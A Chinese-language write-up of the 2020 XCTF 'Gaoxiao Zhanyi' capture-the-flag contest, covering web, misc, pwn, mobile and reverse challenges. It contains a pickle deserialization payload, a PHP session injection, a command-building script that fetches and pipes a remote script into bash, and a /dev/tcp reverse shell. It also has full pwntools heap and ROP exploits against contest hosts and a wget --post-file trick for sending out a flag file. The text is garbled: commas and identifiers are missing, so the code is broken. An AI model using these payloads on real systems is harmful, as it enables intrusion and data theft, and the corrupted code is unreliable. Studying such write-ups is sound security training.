2020高校战役XCTF分享赛
新春分享赛2020 (天璇Merak)
web
sqlcheckin
考虑万能密码。
webtmp
考察python反序列化
读源码可知需要覆盖name和category
且需要避免使用R指令码,网上可以搜到使用C指令码来绕过执行RCE
构造payload:
s3 = b"\x80\x03c__main__\nsecret\n}(Vname\nVhaha\nVcategory\nVgaga\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x04\x00\x00\x00hahaX\x08\x00\x00\x00categoryX\x04\x00\x00\x00gagaub."
print(64.b64encode(s3).decode())
Hackme
www.zip源码泄露
搞这个
function check_session($session)
{
foreach ($session as $keys => $values) {
foreach ($values as $key => $value) {
if ($key === 'admin' && $value === 1) {
return true;
}
}
}
return false;
}
然后就有这个
<?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#变成管理员吧,奥利给
} else {
die('只有管理员才能看到我哟');
}
那么要搞这个
<?php
require_once('init.php');
class upload_sign
{
public $sign;
public $admin = 0;
public function __construct()
{
if (isset($_POST['sign'])) {
$this->sign = $_POST['sign'];
} else {
$this->sign = "这里空空如也哦";
}
}
public function upload()
{
if ($this->checksign($this->sign)) {
$_SESSION['sign'] = $this->sign;
$_SESSION['admin'] = $this->admin;
} else {
echo "???";
}
}
public function checksign($sign)
{
return true;
}
}
$a = new upload_sign();
$a->upload();
利用
ini_set('session.serialize_handler''php_serialize');
这个特性
getSign 填"|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:5:"ekixu";}"
搞定admin然后
./sandbox/2e38c4c054844d7085d096046b5b8258 <?php
require_once('./init.php');
error_reporting(0);
if (check_session($_SESSION)) {
#hint : core/clear.php
$sandbox = './sandbox/' . md5("Mrk@1xI^" . $_SERVER['REMOTE_ADDR']);
echo $sandbox;
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_POST['url'])) {
$url = $_POST['url'];
if (filter_var($url FILTER_VALIDATE_URL)) {
if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i' $url)) {
echo "you are hacker";
} else {
$res = parse_url($url);
if (preg_match('/127\.0\.0\.1$/' $res['host'])) {
$code = file_get_contents($url);
if (strlen($code) <= 4) {
@exec($code);
} else {
echo "try again";
}
}
}
} else {
echo "invalid url";
}
} else {
highlight_file(__FILE__);
}
} else {
die('只有管理员才能看到我哟');
}
然后要拼接一个只能一次4个字符的shell出来。
在主机上搞shell
bash -i >& /dev/tcp/<ip>/1029 0>&1
exp:
import requests
from time import sleep
from urllib import quote
import 64
payload = [
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'
# reverse file "v" to file "x" content "ls -th >g"
'>rev'
'*v>x'
# generate "curl <IPHEX> | ba sh;"
#
'>\;'
'>sh\\'
'>ba\\'
'>\|\\'
'>XX\\'
'>XX\\'
'>XX\\'
'>XX\\'
'>0x\\'
'>\ \\'
'>rl\\'
'>cu\\'
'sh x'
'sh g'
]
for i in payload:
assert len(i) <= 4
header ={
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/73.0.3683.103 Safari/537.36"
"Cookie":"PHPSESSID=1af6e5b03d0df7c07ae2e548bd44183c"
}
data ={
"url":"compress.zlib://data:@127.0.0.1/plain;64"+64.b64encode(i)
}
r = requests.post(url='http://121.36.222.22:88/core/index.php'data=dataheaders=header)
print r.text
print i
sleep(0.1)
>
Misc
签到
就不提了
隐藏的信息
给了一张没有定位符的二维码
扫码之后却什么都么得,给了个flag不在这里。
但是winhex看的话里面有一句use 64
接下来,压缩包发现是伪加密
用频谱图发现前后都有电话音,
那么放到网站上解密。http://dialabc.com/sound/detect/
得到数字 187485618521
之后64加密
flag{MTg3NDg1NjE4NTIx}
ez_mem&usb
得到的是流量包,usb流量分析,可以从中dump下来.vmem文件
标准用volatility分析。。。
搞出flag.img
密码在命令行中
得到了usb keyboard scan code
解码即可
简单Misc
能够得到解压密码
EPIDEMICSITUATIONOFUNIVERSITYWAR
解出文本64一下即可
flag{Th1s_is_FlaG_you_aRE_rigHT}
武汉加油
工具:x64dbg + sharpOD插件
这misc是vmp壳加密的,其中vmp保护全开,开了防dump+防文件修改
尝试过vmware暂停后提取vmem然后扔进volatility做硬核dump然后失败了...
看了网上的视频教程才来尝试动态调
网上搜sharpOD下载完了直接扔x64dbg的插件目录里就ok了,然后进x64dbg把sharpOD的所有选项都选上
然后F9跑起来,在可执行文件里写点什么然后回车,然后再栈帧里面找自己敲过的东西。
联想到栈帧知识,怀疑是scanf,开始找标志
看到了%s 追到调用返回地址0x401EC7,那就是你了!
随便敲点什么回车,把6个%s读完就断下来了
看到下面有判断读入多少个字符串,如果真则跳上去,如果假就返回了。为了找到真实的对比逻辑,就让他向上跳。
单步下去发现有大跳,根据破解的经验,有大跳的话另一个分支的很重要
这里把flags中的Z位改成0不让它跳
看到小跳不要慌,看跳转逻辑
指来指去也就跳到这附近,那就不用管让它跳
又有大跳,那就不让它跳,之后碰到了for逻辑,就感觉离成功不远了。
全都执行完了,回到刚才下的断点,回去看一眼窗口,答案就出现了。
PWN
ezhacker
文件里就有flag.txt
应该是出错题了。
woodenbox
house of roman
# -*- coding: utf-8 -*- import sys import os import os.path from pwn import * context.log_level = 'debug' # context.timeout = 3 context.terminal = ['mate-terminal' '-x' 'sh' '-c'] #context(os="linux" arch="i386" log_level="debug" timeout=3) ''' rdirsirdxrcxr8和r9 ''' if len(sys.argv) > 2: DEBUG = 0 HOST = '121.36.215.224' PORT = 9998 else: DEBUG = 1 if len(sys.argv) == 2: PATH = sys.argv[1] else: PATH = './woodenbox3' # libc = ELF('/lib/x86_64-linux-gnu/libc-2.30.so') def choose(s): p.sendafter('Your choice:' str(s)) def add(le name): choose(1) str1 = p.recv(8) if (str1.startswith('invaild')): raise EOFError p.sendafter('item name:' str(le)) p.sendafter('Please enter the name of item:' str(name)) # return str def edit(index lengt name): choose(2) p.sendafter('Please enter the index of item:' str(index)) p.sendafter('Please enter the length of item name:' str(lengt)) p.sendafter('Please enter the new name of the item:' str(name)) def remove(index): choose(3) p.sendafter('Please enter the index of item:' str(index)) # print/x (void*)$re(0x202170) chunk a # print/x (void*)$re(0x202168) chunk b # x/30xg $re(0x2020a0) itemlist # x/30xg $re(0x202160) # add-symbol-file-all ./libc.so.6 0x7ff7175b3000 # 之前有chunkA和chunkB... 不过没有被free应该没关系吧 def exp(): chunkB = 'B' * 0x68 + p64(0x41) res = add(1 '0') add(1 '0') add(1 '0') add(1 '0') add(0xe8 '0') index_ = 5 add(0x88 '0') # 0x20 A add(0xa8 chunkB) # 0xd0 B add(0x18 '2') # 0x20 C # chunkB free了再搞回来 顺便低字节改写到malloc_hook的fake_chunk remove(index_+1) index_ -= 1 # x/50xg &__malloc_hook-0x10 # malloc_hook 0x7ffff7dd1b10 # 0x7fff7d1af5 可以出现合法chunk_size # chunk的指针还要靠前8字节? 在1aed # chunkB fd= 0x7f8b66552b78 add(0xa8 '\xed\x1a') add(0x65 '3') # D add(0x65 '4') # E # add(0x65 '5') # 改chunkB的size chunkA= 'A' * 0x88 +'\x71' edit(index_+0 len(chunkA)+10 chunkA) remove(index_+3) #free D index_ -= 1 remove(index_+4) #free E index_ -= 1 # 改E的fd到B # chunkB: 0x555555757200 chunkC: 0x5555557572d0 # chunkE的fd原来是指向D的 # 它们相差了f0 只能修改A大小让他们只有低字节不同D的低字节是f0-->B的低字节是00 这里还是1/16的可能性!! chunk2='3' * 0x18 + p64(0x71) + 'D'*0x68 + p64(0x71) + '\x00' edit(index_+2 len(chunk2)+10 chunk2) # 修复fastbin??? # TODO # 删掉不用的chunk 为3连malloc准备?? add(0x65 '4') # E add(0x65 '1') # B # malloc_hook # 0x7f8b66552af5 是size域 +8是内容域 0x7f8b66552b10是hook 要0x13的padding 似乎踩在memaline_hook和realloc_hook上 # onegadget是 0x45216(rax=0) 0x4526a 0xf02a4 0xf1147 # libc: 0x7ffff7a0d000---> 7FFF F7AF D2A4 # 0x45216 execve("/bin/sh" rsp+0x30 environ) # constraints: # rax == NULL # 0x4526a execve("/bin/sh" rsp+0x30 environ) # constraints: # [rsp+0x30] == NULL # 0xf02a4 execve("/bin/sh" rsp+0x50 environ) # constraints: # [rsp+0x50] == NULL # 0xf1147 execve("/bin/sh" rsp+0x70 environ) # constraints: # [rsp+0x70] == NULL # 2:7FFF F7A5 226A 3:7FFF F7AF D2A4 4: 7FFF F7AF E147 padd = 'n' * 0x13 + "\xa4\xd2\xaf" # 检查一下malloc_hook的位置 padd2 = 'n' * 0x13 + "\x6a\x22\xa5" padd4 = 'n' * 0x13 + '\x47\xe1\xaf' add(0x65 '\x00') # Hook remove(index_) index_ -= 1 unsorted_payload = 'u'*0xe8 + p64(0x91)+ p64(0) + '\x00\x1b' edit(index_-1 len(unsorted_payload)+10 unsorted_payload) add(0x88 'ha') # -1 edit(index_+5 len(padd)+10 padd) # gdb.attach(proc.pidof(p)[0] "b *$re(0x104a)") # choose(1) # p.sendafter('Please enter the length of item name:' '1') # x/30xg $re(0x2020a0) remove(2) pay = '\x00' *0x68 edit(4 len(pay) pay) remove(4) p.recv() p.sendline('cat flag') return p.recvline() # p.interactive() DEBUG=0 HOST = '121.36.215.224' PORT = 9998 while (1): try: if not DEBUG: p = remote(HOST PORT) else: p = process(PATH) if len(exp()) != 0: break except EOFError: p.close() continue
easyheap
add的值>0x400的时候会申请一个未初始化的块,uaf,劫持atoi_got
# -*- coding:utf-8 -*- from pwn import * from pwn_debug import * from LibcSearcher import * debug = 0 filename='./easyheap' sa=lambda xy:p.sendafter(xy) sla=lambda xy:p.sendlineafter(xy) context.terminal=['/usr/bin/tmux''new-window'] #elf=ELF(filename) context.log_level = 'debug' if debug: p=process(filename)#env={'LD_PRELOAD':'./libc-2.23.so'}) else: p=remote('121.36.209.145'9997) def vi(): if debug: gdb.attach(p) def chose(c): sla('Your choice:\n'str(c)) def add(sc='\x00'): chose(1) sla('How long is this message?\n'str(s)) if s<=0x400: sa('What is the content of the message?\n'c) def free(i): chose(2) sla('What is the index of the item to be deleted?\n'str(i)) def edit(ic): chose(3) sla('What is the index of the item to be modified?\n'str(i)) sa('What is the content of the message?\n'c) free_got=0x602018 atoi_got=0x602050 puts_plt=0x400670 puts_got=0x602020 bss=0x6020d8 add(0x18) add(0x18) free(0) add(0x401) add(0x18) p1=p64(0)+p64(0x21) edit(0p1+p64(bss)) edit(2p64(puts_got)) edit(0p1+p64(free_got)) edit(2p64(puts_plt)) free(3) p.recvline() puts_addr=u64(p.recv(6)+'\x00\x00') print hex(puts_addr) obj=LibcSearcher('puts'puts_addr) =puts_addr-obj.dump('puts') sys_addr=+obj.dump('system') edit(0p1+p64(atoi_got)) edit(2p64(sys_addr)) sla('Your choice:\n''/bin/sh') p.interactive() p.close()
lgd
trunk的可写入字节数等于add中的第二个参数字节个数,堆溢出,un,got表泄露libc(开始试着泄露main_arena+88发现地址有点问题),因为有 prctl(22 2LL &v1);
,所以hooksystem
和execve
这些都不可用,故用任意读写查看libc中保存的栈位置,
改栈rop,read(open('flag'0)bss0x80);write(1bss0x80);
#coding:utf-8 from pwn import * #from pwn_debug import * debug = 0 filename='./pwn' sa=lambda xy:p.sendafter(xy) sla=lambda xy:p.sendlineafter(xy) #context.terminal=['/usr/bin/tmux''new-window'] elf=ELF(filename) context.log_level = 'debug' if debug: p=process(filename)#env={'LD_PRELOAD':'./libc-2.23.so'}) else: p=remote('121.36.209.145'9998) def vi(): if debug: gdb.attach(p) def chose(c): sla('>> 'str(c)) def add(lc): chose(1) sla('______?\n'str(l)) sa('start_the_gameyes_or_no?\n''a'*c) def free(i): chose(2) sla('index ?\n'str(i)) def view(i): chose(3) sla('index ?\n'str(i)) def edit(id): chose(4) sla('index ?\n'str(i)) sa('___c___r__s__++___c___new_content ?\n'd) def write(addrc): edit(3p64(addr)) edit(0c) def watch(addr): edit(3p64(addr)) view(0) return u64(p.recv(6).ljust(8'\x00')) def csu(rbx rbp r12 r13 r14 r15): # pop rbxrbpr12r13r14r15 # rbx should be 0 # rbp should be 1enable not to jump # r12 should be the function we want to call # rdi=edi=r15d # rsi=r14 # rdx=r13 #payload = 'a' * 0x80 + fakeebp #填充垃圾字符串 csu_end_addr=0x4023aa csu_front_addr=0x402390 payload = '' payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) payload += p64(csu_front_addr) payload += 'a' * 0x38 #payload += p64(last) return payload sla('what is your name? \n''aabbcc') add(0x180x200) add(0x800x80) add(0x180x80) free(1) edit(0'a'*0x1f+'b') view(0) p.recvuntil('b') main_arena=u64(p.recv(6)+'\x00\x00')-0x58 malloc_hook=main_arena-0x10 =malloc_hook-0x3c4b10 free_hook=+0x3c67a8 sys=+0x38c40 free_got=0x602f98 #45216 #4526a #f02a4 #f1147 one=+0x4526a print hex(malloc_hook) edit(0'a'*0x18+p64(0x91)) add(0x800x80) add(0x1000x200) add(0x1000x80) bss=0x6032f8 p1=p64(0)+p64(0x100)+p64(bss-0x18)+p64(bss-0x10)+p64(0x100)+p64(0x110) p1=p1.ljust(0x100'a') p1+=p64(0x100)+p64(0x110) edit(3p1) free(4) view(3) heap=u64(p.recv(3).ljust(8'\x00')) edit(3p64(free_got)) view(0) '''''' free_addr=u64(p.recv(6)+'\x00\x00') print hex(free_got) =free_addr-0x844f0 sys=+0x45390 free_hook=+0x3c67a8 env=+0x3c6f38 open=+0xf7030 read=+0xf7250 write_addr=+0xf72b0 stack=watch(env) print hex(stack) print hex(watch(stack-0x208)) write(0x6034f0'r\x00') write(0x6034e0'./flag\x00') write(0x6034d0p64(open)) write(0x6034c0p64(read)) write(0x6034b0p64(write_addr)) rop=csu(010x6034d0000x6034e0)+csu(010x6034c00x800x6035003)+csu(010x6034b00x800x6035001) print hex(len(rop)) vi() write(stack-0xe5d8+0xe3b8rop) '''''' p.interactive() p.close()
Shortest_path
通过uaf把ptr[0]这个站点的buf指针改成指向s字符串("/bin/cat flag"),再通过SPFA函数中的队列覆写判断0号站点是否存在的dword_606F60[0]数组元素为非0(目的是能够查询ptr[0]),最后查询站点0信息,在打印buf时即可获取flag。
原本考虑到加边时保存边长的数组存在越界,因为理论可以无限加重边使得dword_6036C0下标可以为任意值,但是这种做法会导致dword_602720数组越界而改变dword_6036C0的值,所以dword_6036C0的理论上限为1000。同时,这种做法会覆盖s字符串,所以无效。
详见exp:
#coding:utf-8 from pwn import * path = './Shortest_path' local = 0 attach = 0 #P = ELF(path) context(os='linux'arch='amd64') context.log_level = 'debug' if local == 1: p = process(path) if context.arch == 'amd64': libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: libc = ELF('/lib/i386-linux-gnu/libc.so.6') else: p = remote('121.37.181.246'19008) def add(indexpricenameSizenamestationNum): #添加站点的函数 p.sendlineafter("options ---> ""1") p.sendlineafter("ID: "str(index)) p.sendlineafter("Price: "str(price)) p.sendlineafter("Length: "str(nameSize)) p.sendafter("Name: \n"name) p.sendlineafter("connected station: "str(stationNum)) def delete(index): #删除站点的函数 p.sendlineafter("options ---> ""2") p.sendlineafter("ID: "str(index)) def showInfo(index): #查询信息函数 p.sendlineafter("options ---> ""3") p.sendlineafter("ID: "str(index)) def findRoute(sourcetarget): #SPFA函数 p.sendlineafter("options ---> ""4") p.sendlineafter("Station ID: "str(source)) p.sendlineafter("Station ID: "str(target)) def addRoute(stationdistance): #加边函数 p.sendlineafter("Conected station ID: "str(station)) p.sendlineafter("distance: "str(distance)) def build(node): #批量构造图的函数 p.sendlineafter("---> " "1") p.sendlineafter(": " str(node)) p.sendlineafter(": " "1") p.sendlineafter(": " "1") p.sendlineafter(": \n" "A") p.sendlineafter(": " "26") for i in range(3 30): if i == node: continue p.sendlineafter(": " str(i)) p.sendlineafter(": " "-1") add(0100x20'\x00'*10) add(1100x20'\x11'*10) #创建两个节点,注意申请的内存大小要大于0x10 delete(0) delete(1) #free,造成uaf漏洞 add(2100x10p64(0)+p64(0x6068E0)0) #申请新节点,使得buf被分配为原来ptr[0]的内存块。修改其为s字符串地址 for i in range(3 30): #构造特殊的满图,即每个点与另外所有点(0,1,2除外)相连,为了保证SPFA的时候队列足够长, build(i) p.sendlineafter("> " "4") p.sendlineafter(": " "3") p.sendlineafter(": " "29") #查询3-29号点距离,此数据为调试后得到的 #gdb.attach(p) showInfo(0) #查询0号节点信息,即可得到flag p.interactive()
Mobile
拿到手的apk开始分析
里面有个hmac签名验证,直接用java写就ok
构造了json对象之后就开始研究如何利用它返回shell
看到了wget,也看到了直接做字符串拼接,就想会不会是广义上的sql注入,然而runtime.exec()打破了我的幻想,之后开始老老实实的研究wget
wget里有个参数是--post-file,可以通过post方式向上传文件
再加上https://github.com/xl7dev/Exploit/blob/master/Wget/wget-exploit.py
这个洞其实没法用,但是它搭了一个能收post的服务器这个就很好,然后尝试上传flag文件
然而直接wget xxx/xx --post-file flag却没用,最后才想到会不会flag不在当前目录下。
最后根据安卓应用目录结构推出flag在/data/data/com.xuanxuan.getflag/files/下
最后payload
Reverse
天津gai
#include<cstdio> #include<cctype> using namespace std; unsigned char target[19]={178610152042594734741672620716}; char key[]="Rising_Hopper!"; void testKey(int idx) { for(unsigned char i=0;i<=255;i++) { if(!isprint(i)) continue; unsigned char v=~(i & key[idx % 14]) & (i | key[idx % 14]); if(v==target[idx]) { printf("%c"i); return; } } } int ans[100]={0x1EA2720x206FC40x1D22030x1EEF550x24F1110x193A7C0x1F3C380x21566D0x2323BF0x2289F90x1D22030x21098A0x1E08AC0x223D160x1F891B0x2370A20x1E558F0x223D160x1C883D0x1F891B0x2289F90x1C883D0xEB7730xE6A900xE6A900xE6A900xB1CCF0x1C883D0x2289F90x22D6DC0x223D160x21566D0x21098A0x1EEF550x1E558F0x223D160x1C883D0x22D6DC0x1F3C380x1D22030x21098A0x1C883D0x24A42E0x1E558F0x223D160x21566D0xD83E70x21566D0x21098A0x1E558F0x258AD7}; void testFlag(int idx) { for(unsigned char i=0;i<=255;i++) { if(!isprint(i)) continue; int v=19683*i%0x8000000B; if(v==ans[idx]) { printf("%c"i); return; } } } int main() { for(int i=0;i<18;i++) testKey(i); puts(""); for(int i=0;i<51;i++) testFlag(i); return 0; }
graph
#include<cstdio> #include<cctype> using namespace std; int value[32]= {0x340x20x2C0x2A0x60x2A0x2F0x2A 0x330x30x20x320x320x320x300x3 0x10x320x2B0x20x2E0x10x20x2D 0x320x40x2D0x300x310x2F0x330x5}; int way1[32]= {0x10x80x70x170x90x130x1F0x17 0x90x0D0x0C0x1D0x0A0x180x90x18 0x190x90x1A0x30x160x60x110x0D 0x70x0F0x140x10x100x40x0B0x1F}; int way2[32]= {0x20x20x10x120x70x20x1A0x0D 0x40x0A0x40x150x0E0x10x00x0E 0x50x70x1C0x0C0x1C0x0F0x0F0x2 0x100x170x1E0x170x130x90x160x1F}; int saves[32]; bool find=false; void dfs(int nodeint valint step) { if(!isprint(val) || find) return; saves[step]=val; if(step==16) { if(node==0x1F) { printf("flag{"); for(int i=1;i<step;i++) printf("%c"saves[i]); puts("}"); find=true; } return; } int w1=way1[node]w2=way2[node]dval=value[node]; dfs(w1val-dvalstep+1); dfs(w2val+dvalstep+1); } int main() { dfs(0'0'0); return 0; }